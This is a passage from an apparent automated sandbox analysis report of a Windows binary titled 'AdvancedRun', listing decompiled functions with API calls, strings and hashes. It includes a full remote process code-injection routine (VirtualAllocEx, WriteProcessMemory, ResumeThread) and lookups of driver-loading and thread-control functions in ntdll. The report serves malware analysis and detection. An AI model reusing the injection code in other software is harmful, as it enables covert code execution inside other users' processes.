K32GetModuleFileNameExW.KERNEL32(00000104,00000000,004096DF,00000104,004096DF,00000000,?), ref: 00409918

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$FileModuleName
String ID:
API String ID: 3859505661-0
Opcode ID: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
Instruction ID: 0481de772a0e6c3324847b7c7a0c8cc4c6a15655966ff13cfb2205d1ba48b523
Opcode Fuzzy Hash: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
Instruction Fuzzy Hash: 26D0A9B22183006BD620AAB08C00B4BA2D47B80710F008C2EB590E22D2D274CD105208

Uniqueness

Uniqueness Score: -1.00%

Function 004095DA, Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004095DA(signed int* __edi) {
				void* __esi;
				struct HINSTANCE__* _t3;
				signed int* _t7;

				_t7 = __edi;
				_t3 =  *__edi;
				if(_t3 != 0) {
					FreeLibrary(_t3); // executed
					 *__edi =  *__edi & 0x00000000;
				}
				E004099D4( &(_t7[0xa]));
				return E004099D4( &(_t7[6]));
			}

0x004095da
0x004095da
0x004095de
0x004095e1
0x004095e7
0x004095e7
0x004095ee
0x004095fc

APIs

FreeLibrary.KERNELBASE(00000000,00401DF2,?,00000000,?,?,00000000), ref: 004095E1

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 3a8c82b58b4536e75bc69a87746d6aa363a9327662929a541f6021599fdffafa
Instruction ID: 13308881ed9fba3be053afa591bd741d52050d54eca683c3f8d57f3833d878b6
Opcode Fuzzy Hash: 3a8c82b58b4536e75bc69a87746d6aa363a9327662929a541f6021599fdffafa
Instruction Fuzzy Hash: 5DD0C973401113EBDB01BB26EC856957368BF00315B15012AA801B35E2C738BDA6CAD8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3C1, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A3C1(struct HINSTANCE__* _a4, WCHAR* _a8) {

				EnumResourceNamesW(_a4, _a8, E0040A33B, 0); // executed
				return 1;
			}

0x0040a3d0
0x0040a3d9

APIs

EnumResourceNamesW.KERNELBASE(?,?,0040A33B,00000000), ref: 0040A3D0

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: EnumNamesResource
String ID:
API String ID: 3334572018-0
Opcode ID: 4e80c9868bdfa7667331217c7ed8963edd970179f9d5bbd233f5df82d78e7ab4
Instruction ID: 553cc51789f51932b097ae14593f850e519bfff9ece1921d1baa913e09089cf7
Opcode Fuzzy Hash: 4e80c9868bdfa7667331217c7ed8963edd970179f9d5bbd233f5df82d78e7ab4
Instruction Fuzzy Hash: 17C09B3215C341D7D7019F208C15F1EF695BB59701F104C39B191A40E0C77140349A05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00408E31, Relevance: 45.6, APIs: 13, Strings: 13, Instructions: 57
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408E31() {
				void* _t1;
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t14;

				if( *0x41c4ac == 0) {
					_t2 = GetModuleHandleW(L"ntdll.dll");
					 *0x41c4ac = _t2;
					 *0x41c47c = GetProcAddress(_t2, "NtQuerySystemInformation");
					 *0x41c480 = GetProcAddress( *0x41c4ac, "NtLoadDriver");
					 *0x41c484 = GetProcAddress( *0x41c4ac, "NtUnloadDriver");
					 *0x41c488 = GetProcAddress( *0x41c4ac, "NtOpenSymbolicLinkObject");
					 *0x41c48c = GetProcAddress( *0x41c4ac, "NtQuerySymbolicLinkObject");
					 *0x41c490 = GetProcAddress( *0x41c4ac, "NtQueryObject");
					 *0x41c494 = GetProcAddress( *0x41c4ac, "NtOpenThread");
					 *0x41c498 = GetProcAddress( *0x41c4ac, "NtClose");
					 *0x41c49c = GetProcAddress( *0x41c4ac, "NtQueryInformationThread");
					 *0x41c4a0 = GetProcAddress( *0x41c4ac, "NtSuspendThread");
					 *0x41c4a4 = GetProcAddress( *0x41c4ac, "NtResumeThread");
					_t14 = GetProcAddress( *0x41c4ac, "NtTerminateThread");
					 *0x41c4a8 = _t14;
					return _t14;
				}
				return _t1;
			}

0x00408e38
0x00408e44
0x00408e56
0x00408e68
0x00408e7a
0x00408e8c
0x00408e9e
0x00408eb0
0x00408ec2
0x00408ed4
0x00408ee6
0x00408ef8
0x00408f0a
0x00408f1c
0x00408f21
0x00408f23
0x00000000
0x00408f28
0x00408f29

APIs

GetModuleHandleW.KERNEL32(ntdll.dll,?,004097C3), ref: 00408E44
GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00408E5B
GetProcAddress.KERNEL32(NtLoadDriver), ref: 00408E6D
GetProcAddress.KERNEL32(NtUnloadDriver), ref: 00408E7F
GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 00408E91
GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 00408EA3
GetProcAddress.KERNEL32(NtQueryObject), ref: 00408EB5
GetProcAddress.KERNEL32(NtOpenThread), ref: 00408EC7
GetProcAddress.KERNEL32(NtClose), ref: 00408ED9
GetProcAddress.KERNEL32(NtQueryInformationThread), ref: 00408EEB
GetProcAddress.KERNEL32(NtSuspendThread), ref: 00408EFD
GetProcAddress.KERNEL32(NtResumeThread), ref: 00408F0F
GetProcAddress.KERNEL32(NtTerminateThread), ref: 00408F21

Strings

NtQueryObject, xrefs: 00408EA5
NtOpenThread, xrefs: 00408EB7
NtTerminateThread, xrefs: 00408F11
NtLoadDriver, xrefs: 00408E5D
NtQueryInformationThread, xrefs: 00408EDB
NtQuerySymbolicLinkObject, xrefs: 00408E93
NtQuerySystemInformation, xrefs: 00408E50
NtOpenSymbolicLinkObject, xrefs: 00408E81
NtSuspendThread, xrefs: 00408EED
ntdll.dll, xrefs: 00408E3F
NtClose, xrefs: 00408EC9
NtUnloadDriver, xrefs: 00408E6F
NtResumeThread, xrefs: 00408EFF

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: NtClose$NtLoadDriver$NtOpenSymbolicLinkObject$NtOpenThread$NtQueryInformationThread$NtQueryObject$NtQuerySymbolicLinkObject$NtQuerySystemInformation$NtResumeThread$NtSuspendThread$NtTerminateThread$NtUnloadDriver$ntdll.dll
API String ID: 667068680-4280973841
Opcode ID: 0e514bbc216ec6ed683cf9c679d1a897357692730977d90f559606f31b4d1217
Instruction ID: 9046f7da5280d7be643cb990a4133c03c86fae9b85e8e19c009a309f84c5646f
Opcode Fuzzy Hash: 0e514bbc216ec6ed683cf9c679d1a897357692730977d90f559606f31b4d1217
Instruction Fuzzy Hash: 6611AD74DC8315EECB516FB1BCE9AA67E61EB08760710C437A809632B1D77A8018DF4C

Uniqueness

Uniqueness Score: -1.00%

Function 0040A46C, Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 208
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E0040A46C(void* __ecx, void* __eflags, void* _a4, void* _a8, void* _a12, void* _a16, intOrPtr _a20, char _a24, void* _a28, intOrPtr _a32) {
				char _v8;
				long _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				long _v28;
				char _v564;
				char _v16950;
				char _v33336;
				_Unknown_base(*)()* _v33348;
				_Unknown_base(*)()* _v33352;
				void _v33420;
				void _v33432;
				void _v33436;
				intOrPtr _v66756;
				intOrPtr _v66760;
				void _v66848;
				void _v66852;
				void* __edi;
				void* _t76;
				_Unknown_base(*)()* _t84;
				_Unknown_base(*)()* _t87;
				void* _t90;
				signed int _t126;
				struct HINSTANCE__* _t128;
				intOrPtr* _t138;
				void* _t140;
				void* _t144;
				void* _t147;
				void* _t148;

				E0040B550(0x10524, __ecx);
				_t138 = _a4;
				_v12 = 0;
				 *_t138 = 0;
				_t76 = OpenProcess(0x1f0fff, 0, _a8);
				_a8 = _t76;
				if(_t76 == 0) {
					 *_t138 = GetLastError();
					L30:
					return _v12;
				}
				_v33436 = 0;
				memset( &_v33432, 0, 0x8284);
				_t148 = _t147 + 0xc;
				_t128 = GetModuleHandleW(L"kernel32.dll");
				_v8 = 0;
				E00409C70( &_v8);
				_push("CreateProcessW");
				_push(_t128);
				if(_v8 == 0) {
					_t84 = GetProcAddress();
				} else {
					_t84 = _v8();
				}
				_v33352 = _t84;
				E00409C70( &_v8);
				_push("GetLastError");
				_push(_t128);
				if(_v8 == 0) {
					_t87 = GetProcAddress();
				} else {
					_t87 = _v8();
				}
				_t140 = _a28;
				_v33348 = _t87;
				if(_t140 != 0) {
					_t126 = 0x11;
					memcpy( &_v33420, _t140, _t126 << 2);
					_t148 = _t148 + 0xc;
				}
				_v33420 = 0x44;
				if(_a16 == 0) {
					_v33336 = 1;
				} else {
					E00404923(0x2000,  &_v33336, _a16);
				}
				if(_a12 == 0) {
					_v16950 = 1;
				} else {
					E00404923(0x2000,  &_v16950, _a12);
				}
				if(_a24 == 0) {
					_v564 = 1;
				} else {
					E00404923(0x104,  &_v564, _a24);
				}
				_v24 = _a20;
				_v28 = 0;
				_a16 = VirtualAllocEx(_a8, 0, 0x8288, 0x1000, 4);
				_t90 = VirtualAllocEx(_a8, 0, 0x800, 0x1000, 0x40);
				_a12 = _t90;
				if(_a16 == 0 || _t90 == 0) {
					 *_a4 = GetLastError();
				} else {
					WriteProcessMemory(_a8, _t90, E0040A3DC, 0x800, 0);
					WriteProcessMemory(_a8, _a16,  &_v33436, 0x8288, 0);
					_v20 = 0;
					_v16 = 0;
					_a24 = 0;
					_t144 = E0040A272( &_v20, _a8, _a12, _a16,  &_a24);
					_a28 = _t144;
					if(_t144 == 0) {
						 *_a4 = GetLastError();
					} else {
						ResumeThread(_t144);
						WaitForSingleObject(_t144, 0x7d0);
						CloseHandle(_t144);
					}
					_v66852 = 0;
					memset( &_v66848, 0, 0x8284);
					ReadProcessMemory(_a8, _a16,  &_v66852, 0x8288, 0);
					VirtualFreeEx(_a8, _a16, 0, 0x8000);
					VirtualFreeEx(_a8, _a12, 0, 0x8000);
					if(_a28 != 0) {
						 *_a4 = _v66756;
						_v12 = _v66760;
						if(_a32 != 0) {
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
						}
					}
					if(_v20 != 0) {
						FreeLibrary(_v20);
					}
				}
				goto L30;
			}

0x0040a474
0x0040a47b
0x0040a48a
0x0040a48d
0x0040a48f
0x0040a497
0x0040a49a
0x0040a6f7
0x0040a6f9
0x0040a700
0x0040a700
0x0040a4ad
0x0040a4b3
0x0040a4b8
0x0040a4c6
0x0040a4cc
0x0040a4cf
0x0040a4dd
0x0040a4e2
0x0040a4e3
0x0040a4ea
0x0040a4e5
0x0040a4e5
0x0040a4e5
0x0040a4ec
0x0040a4f6
0x0040a4fe
0x0040a503
0x0040a504
0x0040a50b
0x0040a506
0x0040a506
0x0040a506
0x0040a50d
0x0040a512
0x0040a518
0x0040a51c
0x0040a523
0x0040a523
0x0040a523
0x0040a528
0x0040a537
0x0040a54c
0x0040a539
0x0040a544
0x0040a549
0x0040a558
0x0040a56d
0x0040a55a
0x0040a565
0x0040a56a
0x0040a579
0x0040a591
0x0040a57b
0x0040a589
0x0040a58e
0x0040a5b4
0x0040a5b7
0x0040a5cc
0x0040a5cf
0x0040a5d4
0x0040a5d7
0x0040a6ed
0x0040a5e5
0x0040a5fa
0x0040a60b
0x0040a61a
0x0040a620
0x0040a623
0x0040a62b
0x0040a62f
0x0040a632
0x0040a659
0x0040a634
0x0040a635
0x0040a641
0x0040a648
0x0040a648
0x0040a668
0x0040a66e
0x0040a685
0x0040a69e
0x0040a6a8
0x0040a6ad
0x0040a6bd
0x0040a6c5
0x0040a6c8
0x0040a6d0
0x0040a6d1
0x0040a6d2
0x0040a6d3
0x0040a6d3
0x0040a6c8
0x0040a6d7
0x0040a6dc
0x0040a6dc
0x0040a6d7
0x00000000

APIs

OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,00000000,?,00402225,?,00000000,?,?,?,?,?,?), ref: 0040A48F
memset.MSVCRT ref: 0040A4B3
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00000000), ref: 0040A4C0

Part of subcall function 00409C70: GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409C90
Part of subcall function 00409C70: GetProcAddress.KERNEL32(00000000,GetProcAddress), ref: 00409CA2
Part of subcall function 00409C70: GetModuleHandleW.KERNEL32(ntdll.dll,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409CB8
Part of subcall function 00409C70: GetProcAddress.KERNEL32(00000000,LdrGetProcedureAddress), ref: 00409CC0
Part of subcall function 00409C70: strlen.MSVCRT ref: 00409CE4
Part of subcall function 00409C70: strlen.MSVCRT ref: 00409CF1

GetProcAddress.KERNEL32(00000000,CreateProcessW), ref: 0040A4EA
GetProcAddress.KERNEL32(00000000,GetLastError), ref: 0040A50B
VirtualAllocEx.KERNEL32(?,00000000,00008288,00001000,00000004), ref: 0040A5BA
VirtualAllocEx.KERNEL32(?,00000000,00000800,00001000,00000040), ref: 0040A5CF
WriteProcessMemory.KERNEL32(?,00000000,0040A3DC,00000800,00000000), ref: 0040A5FA
WriteProcessMemory.KERNEL32(?,?,?,00008288,00000000), ref: 0040A60B
ResumeThread.KERNEL32(00000000,?,?,?,?), ref: 0040A635
WaitForSingleObject.KERNEL32(00000000,000007D0), ref: 0040A641
CloseHandle.KERNEL32(00000000), ref: 0040A648
memset.MSVCRT ref: 0040A66E
ReadProcessMemory.KERNEL32(?,?,?,00008288,00000000), ref: 0040A685
VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 0040A69E
VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 0040A6A8
FreeLibrary.KERNEL32(?), ref: 0040A6DC
GetLastError.KERNEL32 ref: 0040A6E4
GetLastError.KERNEL32(?,00402225,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 0040A6F1

Strings

CreateProcessW, xrefs: 0040A4DD
GetLastError, xrefs: 0040A4FE
D, xrefs: 0040A528
kernel32.dll, xrefs: 0040A4BB

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleProcProcessVirtual$FreeMemoryModule$AllocErrorLastWritememsetstrlen$CloseLibraryObjectOpenReadResumeSingleThreadWait
String ID: CreateProcessW$D$GetLastError$kernel32.dll
API String ID: 1572607441-20550370
Opcode ID: 10f7c0c23a9a0f5367f9f105db89101955ccd8852da439e16b2e798f9a4d6596
Instruction ID: 438c2ff444ec8f0d87d8749b995af300a635889f814f068fc812e1417cff7fa3
Opcode Fuzzy Hash: 10f7c0c23a9a0f5367f9f105db89101955ccd8852da439e16b2e798f9a4d6596
Instruction Fuzzy Hash: 557127B1800219EFCB109FA0DD8499E7BB5FF08344F14457AF949B6290CB799E90DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00401093, Relevance: 47.4, APIs: 26, Strings: 1, Instructions: 184
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00401093(void* __ecx, void* __edx, intOrPtr _a4, struct HDC__* _a8, unsigned int _a12) {
				struct tagPOINT _v12;
				void* __esi;
				void* _t47;
				struct HBRUSH__* _t56;
				void* _t61;
				unsigned int _t63;
				void* _t68;
				struct HWND__* _t69;
				struct HWND__* _t70;
				void* _t73;
				unsigned int _t74;
				struct HWND__* _t76;
				struct HWND__* _t77;
				struct HWND__* _t78;
				struct HWND__* _t79;
				unsigned int _t85;
				struct HWND__* _t87;
				struct HWND__* _t89;
				struct HWND__* _t90;
				struct tagPOINT _t96;
				struct tagPOINT _t98;
				signed short _t103;
				void* _t106;
				void* _t117;

				_t106 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t47 = _a4 - 0x110;
				_t117 = __ecx;
				if(_t47 == 0) {
					__eflags =  *0x40feb0;
					if(__eflags != 0) {
						SetDlgItemTextW( *(__ecx + 0x10), 0x3ee, 0x40feb0);
					} else {
						ShowWindow(GetDlgItem( *(__ecx + 0x10), 0x3ed), 0);
						ShowWindow(GetDlgItem( *(_t117 + 0x10), 0x3ee), 0);
					}
					SetWindowTextW( *(_t117 + 0x10), L"AdvancedRun");
					SetDlgItemTextW( *(_t117 + 0x10), 0x3ea, _t117 + 0x40);
					SetDlgItemTextW( *(_t117 + 0x10), 0x3ec, _t117 + 0x23e);
					E0040103E(_t117, __eflags);
					E00404DA9(_t106,  *(_t117 + 0x10), 4);
					goto L30;
				} else {
					_t61 = _t47 - 1;
					if(_t61 == 0) {
						_t103 = _a8;
						_t63 = _t103 >> 0x10;
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							L24:
							__eflags = _t63;
							if(_t63 != 0) {
								goto L30;
							} else {
								EndDialog( *(_t117 + 0x10), _t103 & 0x0000ffff);
								DeleteObject( *(_t117 + 0x43c));
								goto L8;
							}
						} else {
							__eflags = _t103 - 2;
							if(_t103 != 2) {
								goto L30;
							} else {
								goto L24;
							}
						}
					} else {
						_t68 = _t61 - 0x27;
						if(_t68 == 0) {
							_t69 = GetDlgItem( *(__ecx + 0x10), 0x3ec);
							__eflags = _a12 - _t69;
							if(_a12 != _t69) {
								__eflags =  *0x40ff30;
								if( *0x40ff30 == 0) {
									goto L30;
								} else {
									_t70 = GetDlgItem( *(_t117 + 0x10), 0x3ee);
									__eflags = _a12 - _t70;
									if(_a12 != _t70) {
										goto L30;
									} else {
										goto L18;
									}
								}
							} else {
								L18:
								SetBkMode(_a8, 1);
								SetTextColor(_a8, 0xc00000);
								_t56 = GetSysColorBrush(0xf);
							}
						} else {
							_t73 = _t68 - 0xc8;
							if(_t73 == 0) {
								_t74 = _a12;
								_t96 = _t74 & 0x0000ffff;
								_v12.x = _t96;
								_v12.y = _t74 >> 0x10;
								_t76 = GetDlgItem( *(__ecx + 0x10), 0x3ec);
								_push(_v12.y);
								_a8 = _t76;
								_t77 = ChildWindowFromPoint( *(_t117 + 0x10), _t96);
								__eflags = _t77 - _a8;
								if(_t77 != _a8) {
									__eflags =  *0x40ff30;
									if( *0x40ff30 == 0) {
										goto L30;
									} else {
										_t78 = GetDlgItem( *(_t117 + 0x10), 0x3ee);
										_push(_v12.y);
										_t79 = ChildWindowFromPoint( *(_t117 + 0x10), _v12.x);
										__eflags = _t79 - _t78;
										if(_t79 != _t78) {
											goto L30;
										} else {
											goto L13;
										}
									}
								} else {
									L13:
									SetCursor(LoadCursorW(GetModuleHandleW(0), 0x67));
									goto L8;
								}
							} else {
								if(_t73 != 0) {
									L30:
									_t56 = 0;
									__eflags = 0;
								} else {
									_t85 = _a12;
									_t98 = _t85 & 0x0000ffff;
									_v12.x = _t98;
									_v12.y = _t85 >> 0x10;
									_t87 = GetDlgItem( *(__ecx + 0x10), 0x3ec);
									_push(_v12.y);
									_a8 = _t87;
									if(ChildWindowFromPoint( *(_t117 + 0x10), _t98) != _a8) {
										__eflags =  *0x40ff30;
										if( *0x40ff30 == 0) {
											goto L30;
										} else {
											_t89 = GetDlgItem( *(_t117 + 0x10), 0x3ee);
											_push(_v12.y);
											_t90 = ChildWindowFromPoint( *(_t117 + 0x10), _v12);
											__eflags = _t90 - _t89;
											if(_t90 != _t89) {
												goto L30;
											} else {
												_push(0x40ff30);
												goto L7;
											}
										}
									} else {
										_push(_t117 + 0x23e);
										L7:
										_push( *(_t117 + 0x10));
										E00404F7E();
										L8:
										_t56 = 1;
									}
								}
							}
						}
					}
				}
				return _t56;
			}

0x00401093
0x00401096
0x00401097
0x0040109b
0x004010a3
0x004010a5
0x00401270
0x00401278
0x004012b3
0x0040127a
0x00401293
0x004012a2
0x004012a2
0x004012c1
0x004012d9
0x004012ea
0x004012ec
0x004012f6
0x00000000
0x004010ab
0x004010ab
0x004010ac
0x00401231
0x00401236
0x00401239
0x0040123d
0x00401249
0x00401249
0x0040124c
0x00000000
0x00401252
0x00401259
0x00401265
0x00000000
0x00401265
0x0040123f
0x0040123f
0x00401243
0x00000000
0x00000000
0x00000000
0x00000000
0x00401243
0x004010b2
0x004010b2
0x004010b5
0x004011e1
0x004011e3
0x004011e6
0x0040120e
0x00401216
0x00000000
0x0040121c
0x00401224
0x00401226
0x00401229
0x00000000
0x0040122f
0x00000000
0x0040122f
0x00401229
0x004011e8
0x004011e8
0x004011ed
0x004011fb
0x00401203
0x00401203
0x004010bb
0x004010bb
0x004010c0
0x00401151
0x0040115a
0x00401168
0x0040116b
0x0040116e
0x00401170
0x00401173
0x00401180
0x00401182
0x00401185
0x004011a4
0x004011ac
0x00000000
0x004011b2
0x004011ba
0x004011bc
0x004011c7
0x004011c9
0x004011cb
0x00000000
0x004011d1
0x00000000
0x004011d1
0x004011cb
0x00401187
0x00401187
0x00401199
0x00000000
0x00401199
0x004010c6
0x004010c8
0x004012fd
0x004012fd
0x004012fd
0x004010ce
0x004010ce
0x004010d7
0x004010e5
0x004010e8
0x004010eb
0x004010ed
0x004010f0
0x00401102
0x0040111d
0x00401125
0x00000000
0x0040112b
0x00401133
0x00401135
0x00401140
0x00401142
0x00401144
0x00000000
0x0040114a
0x0040114a
0x00000000
0x0040114a
0x00401144
0x00401104
0x0040110a
0x0040110b
0x0040110b
0x0040110e
0x00401115
0x00401117
0x00401117
0x00401102
0x004010c8
0x004010c0
0x004010b5
0x004010ac
0x00401303

APIs

GetDlgItem.USER32 ref: 004010EB
ChildWindowFromPoint.USER32 ref: 004010FD
GetDlgItem.USER32 ref: 00401133
ChildWindowFromPoint.USER32 ref: 00401140
GetDlgItem.USER32 ref: 0040116E
ChildWindowFromPoint.USER32 ref: 00401180
GetModuleHandleW.KERNEL32(00000000,?,?), ref: 00401189
LoadCursorW.USER32(00000000,00000067), ref: 00401192
SetCursor.USER32(00000000,?,?), ref: 00401199
GetDlgItem.USER32 ref: 004011BA
ChildWindowFromPoint.USER32 ref: 004011C7
GetDlgItem.USER32 ref: 004011E1
SetBkMode.GDI32(?,00000001), ref: 004011ED
SetTextColor.GDI32(?,00C00000), ref: 004011FB
GetSysColorBrush.USER32(0000000F), ref: 00401203
GetDlgItem.USER32 ref: 00401224
EndDialog.USER32 ref: 00401259
DeleteObject.GDI32(?), ref: 00401265
GetDlgItem.USER32 ref: 0040128A
ShowWindow.USER32(00000000), ref: 00401293
GetDlgItem.USER32 ref: 0040129F
ShowWindow.USER32(00000000), ref: 004012A2
SetDlgItemTextW.USER32 ref: 004012B3
SetWindowTextW.USER32(?,AdvancedRun), ref: 004012C1
SetDlgItemTextW.USER32 ref: 004012D9
SetDlgItemTextW.USER32 ref: 004012EA

Strings

AdvancedRun, xrefs: 004012B9

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogHandleLoadModeModuleObject
String ID: AdvancedRun
API String ID: 829165378-481304740
Opcode ID: a07d2d5b487f31c3e1d27064e8330fba163acc1cc8c3fec135df1b57c4fd270f
Instruction ID: 224fbb10fd18d8c83ffedf6f1f5ae1765c75c0bde1a98b5884793aa0480d770d
Opcode Fuzzy Hash: a07d2d5b487f31c3e1d27064e8330fba163acc1cc8c3fec135df1b57c4fd270f
Instruction Fuzzy Hash: 12517D31510308EBDB216FA0DD84E6A7BB6FB44304F104A3AFA11B65F1CB79A954EB18

Uniqueness

Uniqueness Score: -1.00%

Function 00408ADB, Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 216
windowCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E00408ADB(void* __ecx, void* __edx, void* __eflags, struct HWND__* _a4, void* _a8, unsigned int _a12) {
				void _v259;
				void _v260;
				void _v515;
				void _v516;
				char _v1048;
				void _v1052;
				void _v1056;
				void _v1560;
				long _v1580;
				void _v3626;
				char _v3628;
				void _v5674;
				char _v5676;
				void _v9770;
				short _v9772;
				void* __edi;
				void* _t45;
				void* _t60;
				int _t61;
				int _t63;
				int _t64;
				long _t68;
				struct HWND__* _t94;
				signed int _t103;
				intOrPtr _t127;
				unsigned int _t130;
				void* _t132;
				void* _t135;

				E0040B550(0x2628, __ecx);
				_t45 = _a8 - 0x110;
				if(_t45 == 0) {
					E00404DA9(__edx, _a4, 4);
					_v9772 = 0;
					memset( &_v9770, 0, 0xffe);
					_t103 = 5;
					memcpy( &_v1580, L"{Unknown}", _t103 << 2);
					memset( &_v1560, 0, 0x1f6);
					_v260 = 0;
					memset( &_v259, 0, 0xff);
					_v516 = 0;
					memset( &_v515, 0, 0xff);
					_v5676 = 0;
					memset( &_v5674, 0, 0x7fe);
					_v3628 = 0;
					memset( &_v3626, 0, 0x7fe);
					_t135 = _t132 + 0x5c;
					_t60 = GetCurrentProcess();
					_t105 =  &_v260;
					_a8 = _t60;
					_t61 = ReadProcessMemory(_t60,  *0x40f3bc,  &_v260, 0x80, 0);
					__eflags = _t61;
					if(_t61 != 0) {
						E00404FE0( &_v5676,  &_v260, 4);
						_pop(_t105);
					}
					_t63 = ReadProcessMemory(_a8,  *0x40f3b0,  &_v516, 0x80, 0);
					__eflags = _t63;
					if(_t63 != 0) {
						E00404FE0( &_v3628,  &_v516, 0);
						_pop(_t105);
					}
					_t64 = E00404BD3();
					__eflags = _t64;
					if(_t64 == 0) {
						E004090EE();
					} else {
						E00409172();
					}
					__eflags =  *0x4101b8; // 0x0
					if(__eflags != 0) {
						L17:
						_v1056 = 0;
						memset( &_v1052, 0, 0x218);
						_t127 =  *0x40f5d4; // 0x0
						_t135 = _t135 + 0xc;
						_t68 = GetCurrentProcessId();
						_push(_t127);
						_push(_t68);
						 *0x40f84c = 0;
						E004092F0(_t105, __eflags);
						__eflags =  *0x40f84c; // 0x0
						if(__eflags != 0) {
							memcpy( &_v1056, 0x40f850, 0x21c);
							_t135 = _t135 + 0xc;
							__eflags =  *0x40f84c; // 0x0
							if(__eflags != 0) {
								wcscpy( &_v1580, E00404B3E( &_v1048));
							}
						}
						goto L20;
					} else {
						__eflags =  *0x4101bc; // 0x0
						if(__eflags == 0) {
							L20:
							_push( &_v3628);
							_push( &_v5676);
							_push( *0x40f3b0);
							_push( *0x40f3bc);
							_push( *0x40f3ac);
							_push( *0x40f394);
							_push( *0x40f398);
							_push( *0x40f3a0);
							_push( *0x40f3a4);
							_push( *0x40f39c);
							_push( *0x40f3a8);
							_push( &_v1580);
							_push( *0x40f5d4);
							_push( *0x40f5c8);
							_push(L"Exception %8.8X at address %8.8X in module %s\r\nRegisters: \r\nEAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8X\r\nESI=%8.8X EDI=%8.8X EBP=%8.8X ESP=%8.8X\r\nEIP=%8.8X\r\nStack Data: %s\r\nCode Data: %s\r\n");
							_push(0x800);
							_push( &_v9772);
							L0040B1EC();
							SetDlgItemTextW(_a4, 0x3ea,  &_v9772);
							SetFocus(GetDlgItem(_a4, 0x3ea));
							L21:
							return 0;
						}
						goto L17;
					}
				}
				if(_t45 == 1) {
					_t130 = _a12;
					if(_t130 >> 0x10 == 0) {
						if(_t130 == 3) {
							_t94 = GetDlgItem(_a4, 0x3ea);
							_a4 = _t94;
							SendMessageW(_t94, 0xb1, 0, 0xffff);
							SendMessageW(_a4, 0x301, 0, 0);
							SendMessageW(_a4, 0xb1, 0, 0);
						}
					}
				}
